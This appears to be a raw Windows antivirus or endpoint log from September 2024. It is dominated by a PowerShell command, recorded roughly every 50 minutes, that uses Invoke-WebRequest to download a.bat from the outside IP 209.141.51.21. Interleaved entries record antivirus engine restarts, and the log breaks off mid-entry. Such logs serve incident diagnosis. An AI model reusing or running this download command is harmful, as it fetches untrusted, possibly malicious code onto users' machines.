C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 13:13:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 14:03:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 14:53:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 15:43:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 16:33:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 17:23:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 18:13:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 19:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 19:53:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 20:43:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 21:33:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 22:23:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 23:13:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 23:22:31 AVAVER: 21.2.2455 AR2: 240830 defs: 24092400 2024-09-24 23:22:31 ARPOT2: Start 3536 2024-09-24 23:22:31 AR2CFG: 240830 2024-09-24 23:22:31 AR2DEV: Start 1 Driver: 210305 2024-09-24 23:23:02 AR2DEV: Stopped 1 2024-09-24 23:23:02 AVAVER: 21.2.2455 AR2: 240830 defs: 24092402 2024-09-24 23:23:02 ARPOT2: Start 7592 2024-09-24 23:23:02 AR2CFG: 240830 2024-09-24 23:23:02 AR2DEV: Start 1 Driver: 210305 2024-09-24 23:23:03 AR2DEV: Stopped 1 2024-09-24 23:23:03 AVAVER: 21.2.2455 AR2: 240830 defs: 24092402 2024-09-24 23:23:03 ARPOT2: Start 7016 2024-09-24 23:23:03 AR2CFG: 240830 2024-09-24 23:23:03 AR2DEV: Start 1 Driver: 210305 2024-09-25 00:03:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 00:53:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 01:43:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 02:33:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 03:23:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 04:13:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 05:03:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 05:53:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 06:43:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 07:33:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 08:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 09:13:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 10:03:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 10:53:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 11:43:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 12:33:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 13:23:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 14:13:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 15:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 15:53:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 16:43:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 17:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 18:23:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 19:13:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 20:03:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 20:53:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 21:43:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 22:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 23:23:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-25 23:23:41 AVAVER: 21.2.2455 AR2: 240830 defs: 24092404 2024-09-25 23:23:41 ARPOT2: Start 6204 2024-09-25 23:23:41 AR2CFG: 240830 2024-09-25 23:23:41 AR2DEV: Start 1 Driver: 210305 2024-09-26 00:13:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 01:03:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 01:53:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 02:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 03:33:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 04:23:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 05:13:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 06:03:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 06:53:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 07:43:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 08:33:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 09:23:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 10:13:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 11:03:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 11:53:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 12:43:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 13:33:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 14:23:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 15:13:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 16:03:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 16:53:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 17:43:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 18:33:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 19:23:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 20:13:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 21:03:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 21:53:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 22:43:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-26 23:24:48 AVAVER: 21.2.2455 AR2: 240830 defs: 24092600 2024-09-26 23:24:48 ARPOT2: Start 3532 2024-09-26 23:24:48 AR2CFG: 240830 2024-09-26 23:24:48 AR2DEV: Start 1 Driver: 210305 2024-09-26 23:25:23 AR2DEV: Stopped 1 2024-09-26 23:25:23 AVAVER: 21.2.2455 AR2: 240830 defs: 24092602 2024-09-26 23:25:23 ARPOT2: Start 6720 2024-09-26 23:25:23 AR2CFG: 240830 2024-09-26 23:25:23 AR2DEV: Start 1 Driver: 210305 2024-09-26 23:25:23 AR2DEV: Stopped 1 2024-09-26 23:25:23 AVAVER: 21.2.2455 AR2: 240830 defs: 24092602 2024-09-26 23:25:23 ARPOT2: Start 1588 2024-09-26 23:25:23 AR2CFG: 240830 2024-09-26 23:25:24 AR2DEV: Start 1 Driver: 210305 2024-09-26 23:33:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 00:23:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 01:13:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 02:03:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 02:53:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 03:43:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 04:33:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 05:23:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 06:13:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 07:03:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 07:53:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 08:43:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 09:33:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 10:23:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 11:13:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 12:03:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 12:53:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 13:43:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 14:33:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 15:23:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 16:13:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 17:03:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 17:53:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 18:43:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 19:33:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 20:23:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 21:13:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 22:03:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 22:53:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-27 23:25:54 AVAVER: 21.2.2455 AR2: 240830 defs: 24092702 2024-09-27 23:25:54 ARPOT2: Start 6384 2024-09-27 23:25:54 AR2CFG: 240830 2024-09-27 23:25:54 AR2DEV: Start 1 Driver: 210305 2024-09-27 23:43:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 00:33:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 01:23:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 02:13:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 03:03:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 03:53:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 05:03:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 05:53:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 06:43:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 07:33:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 08:23:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 09:13:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 10:03:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 10:53:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 11:43:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 12:33:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 13:23:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 14:13:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 15:03:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 15:53:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 16:43:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 17:33:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 18:23:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 19:13:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 20:03:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 20:53:21 NOTIFY: PROCESS 